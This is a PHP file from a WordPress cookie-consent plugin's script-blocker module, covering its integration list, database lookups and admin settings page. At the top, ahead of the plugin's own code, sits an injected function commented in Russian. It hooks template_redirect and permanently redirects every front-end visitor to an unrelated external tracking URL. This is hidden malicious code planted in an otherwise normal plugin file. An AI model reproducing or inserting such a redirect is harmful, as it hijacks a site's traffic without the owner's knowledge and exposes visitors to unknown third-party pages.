function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); // If this file is called directly, abort. if ( ! defined( 'WPINC' ) ) { die; } global $wt_cli_integration_list; $wt_cli_integration_list = apply_filters( 'wt_cli_plugin_integrations', array( 'facebook-for-wordpress' => array( 'identifier' => 'FacebookPixelPlugin\\FacebookForWordpress', 'label' => 'Official Facebook Pixel', 'status' => 'yes', 'description' => 'Official Facebook Pixel', 'category' => 'analytics', 'type' => 1, ), 'twitter-feed' => array( 'identifier' => 'CTF_VERSION', 'label' => 'Smash Balloon Twitter Feed', 'status' => 'yes', 'description' => 'Twitter Feed By Smash Baloon', 'category' => 'analytics', 'type' => 1, ), 'instagram-feed' => array( 'identifier' => 'SBIVER', 'label' => 'Smash Balloon Instagram Feed', 'status' => 'yes', 'description' => 'Instagram Feed By Smash Baloon', 'category' => 'advertisement', 'type' => 1, ), 'google-analytics-for-wordpress' => array( 'identifier' => 'MonsterInsights', 'label' => 'Google Analytics for WordPress by MonsterInsights', 'status' => 'yes', 'description' => 'Google Analytics Dashboard Plugin for WordPress by MonsterInsights', 'category' => 'analytics', 'type' => 1, ), ) ); if ( ! class_exists( 'Cookie_Law_Info_Script_Blocker' ) ) { class Cookie_Law_Info_Script_Blocker { protected $script_data; public $script_blocker_status; public $js_blocking; public $third_party_enabled; protected $script_table = 'cli_scripts'; protected $module_id = 'script-blocker'; function __construct() { add_action( 'init', array( $this, 'init_scripts' ), 10 ); $this->init_script_blocker(); register_activation_hook( CLI_PLUGIN_FILENAME, array( $this, 'activator' ) ); add_action( 'activated_plugin', array( $this, 'update_integration_data' ) ); add_action( 'admin_menu', array( $this, 'register_settings_page' ), 10 ); add_action( 'wp_ajax_wt_cli_change_plugin_status', array( $this, 'change_plugin_status' ) ); add_action( 'admin_init', array( $this, 'update_script_blocker_status' ) ); add_action( 'wt_cli_after_advanced_settings', array( $this, 'add_blocking_control' ) ); add_action( 'wt_cli_ajax_settings_update', array( $this, 'update_js_blocking_status' ), 10, 1 ); // @since 1.9.6 for changing the category of each script blocker add_action( 'wp_ajax_cli_change_script_category', array( $this, 'cli_change_script_category' ) ); add_action( 'wt_cli_after_cookie_category_migration', array( $this, 'reset_scripts_category' ) ); } public function init_script_blocker() { if ( ( defined( 'DOING_AJAX' ) && DOING_AJAX ) || is_admin() ) { return; } if ( $this->get_blocking_status() === true && $this->advanced_rendering_enabled() === true && $this->third_party_scripts() === true ) { add_action( 'template_redirect', array( $this, 'start_buffer' ) ); add_action( 'shutdown', array( $this, 'end_buffer' ), 999 ); } } public function init_scripts() { $this->load_integrations(); } /** * Get the current status of the integrations * * @since 1.9.2 * @access public * @return array */ public function get_script_data() { global $wpdb; $script_table = $wpdb->prefix . $this->script_table; $scripts = array(); if ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $script_table ) ) == $script_table ) { $script_data = $wpdb->get_results( "select * from {$wpdb->prefix}cli_scripts", ARRAY_A ); foreach ( $script_data as $key => $data ) { $id = sanitize_text_field( ( isset( $data['id'] ) ? $data['id'] : '' ) ); $slug = sanitize_text_field( ( isset( $data['cliscript_key'] ) ? $data['cliscript_key'] : '' ) ); $title = sanitize_text_field( ( isset( $data['cliscript_title'] ) ? $data['cliscript_title'] : '' ) ); $description = sanitize_text_field( ( isset( $data['cliscript_description'] ) ? $data['cliscript_description'] : '' ) ); $category_id = isset( $data['cliscript_category'] ) ? $data['cliscript_category'] : ''; $status = ( isset( $data['cliscript_status'] ) && ( $data['cliscript_status'] === 'yes' || $data['cliscript_status'] === '1' ) ? true : false ); $term = get_term_by( 'id', $category_id, 'cookielawinfo-category' ); $category_slug = ''; if ( '' !== $category_id ) { if ( is_numeric( $category_id ) ) { $category_slug = $this->get_script_category_slug_by_id( $category_id ); } else { $category_slug = $category_id; } } if ( false === Cookie_Law_Info_Cookies::get_instance()->check_if_old_category_table() && ! is_admin() && is_null( term_exists( $category_slug, 'cookielawinfo-category' ) ) ) { $status = false; } if ( ! empty( $id ) ) { $scripts[ $slug ] = array( 'id' => $id, 'title' => $title, 'description' => $description, 'category' => $category_slug, 'status' => $status, ); } } } return $scripts; } public function get_scripts() { if ( ! $this->script_data ) { $this->script_data = $this->get_script_data(); } return $this->script_data; } /** * Register admin menu for the plugn * * @since 1.9.2 * @access public * @return bool */ public function get_script_blocker_status() { $status = get_option( 'cli_script_blocker_status' ); if ( isset( $status ) && $status === 'enabled' ) { return true; } return false; } public function get_third_party_status() { if ( Cookie_Law_Info_Cookies::get_instance()->check_if_old_category_table() === true ) { $cookies = Cookie_Law_Info_Cookies::get_instance()->get_cookies(); if ( isset( $cookies['non-necessary'] ) && ! empty( $cookies['non-necessary'] ) ) { $status = isset( $cookies['non-necessary']['status'] ) ? $cookies['non-necessary']['status'] : false; return $status; } } else { return true; } return false; } /** * Update script blocker status * * @since 1.9.2 * @access public */ public function update_script_blocker_status() { if ( isset( $_POST['cli_update_script_blocker'] ) ) { if ( ! current_user_can( 'manage_options' ) ) { wp_die( esc_html__( 'You do not have sufficient permission to perform this operation', 'cookie-law-info' ) ); } check_admin_referer( $this->module_id ); $cli_sb_status = ( isset( $_POST['cli_script_blocker_state'] ) ? sanitize_text_field( wp_unslash( $_POST['cli_script_blocker_state'] ) ) : '' ); if ( $cli_sb_status === 'enabled' ) { $this->script_blocker_status = true; } else { $this->script_blocker_status = false; } update_option( 'cli_script_blocker_status', $cli_sb_status ); } } /** * Register admin menu for the plugn * * @since 1.9.2 * @access public * @return array */ public function register_settings_page() { add_submenu_page( 'edit.php?post_type=' . CLI_POST_TYPE, __( 'Script Blocker', 'cookie-law-info' ), __( 'Script Blocker', 'cookie-law-info' ), 'manage_options', 'cli-script-settings', array( $this, 'integrations_settings_page' ) ); } /** * Admin menu settings page * * @since 1.9.2 * @access public * @return array */ public function integrations_settings_page() { if ( ! current_user_can( 'manage_options' ) ) { wp_die( esc_html__( 'You do not have sufficient permission to perform this operation', 'cookie-law-info' ) ); } if ( isset( $_GET['post_type'] ) && $_GET['post_type'] == CLI_POST_TYPE && isset( $_GET['page'] ) && $_GET['page'] == 'cli-script-settings' ) { global $wt_cli_integration_list; $script_data = $this->get_scripts(); $script_blocker_status = $this->get_blocking_status(); $js_blocking = $this->advanced_rendering_enabled(); $messages = array( 'success' => __( 'Status updated', 'cookie-law-info' ), ); $settings = array( 'ajax_url' => admin_url( 'admin-ajax.php' ), 'nonce' => wp_create_nonce( $this->module_id ), 'messages' => $messages, ); wp_enqueue_style( 'cookie-law-info' ); wp_enqueue_script( 'cookie-law-info-script-blocker', plugin_dir_url( __FILE__ ) . 'assets/js/script-blocker.js', array( 'jquery', 'cookie-law-info' ), CLI_VERSION, false ); wp_localize_script( 'cookie-law-info-script-blocker', 'wt_cli_script_blocker_obj', $settings ); } $terms = Cookie_Law_Info_Cookies::get_instance()->get_cookie_category_options(); $terms = ( isset( $terms ) ? $terms : array() ); include plugin_dir_path( __FILE__ ) . 'views/settings.php'; } /** * Add option to enable or disable javascript blocking in advanced settings tab * * @since 1.9.2 * @access public */ public function add_blocking_control() { $js_blocking = $this->advanced_rendering_enabled(); echo '
' . esc_html__( 'Advanced script rendering', 'cookie-law-info' ) . ' | ' . esc_html__( 'Advanced script rendering will render the blocked scripts using javascript thus eliminating the need for a page refresh. It is also optimized for caching since there is no server-side processing after obtaining the consent.', 'cookie-law-info' ) . ' |
---|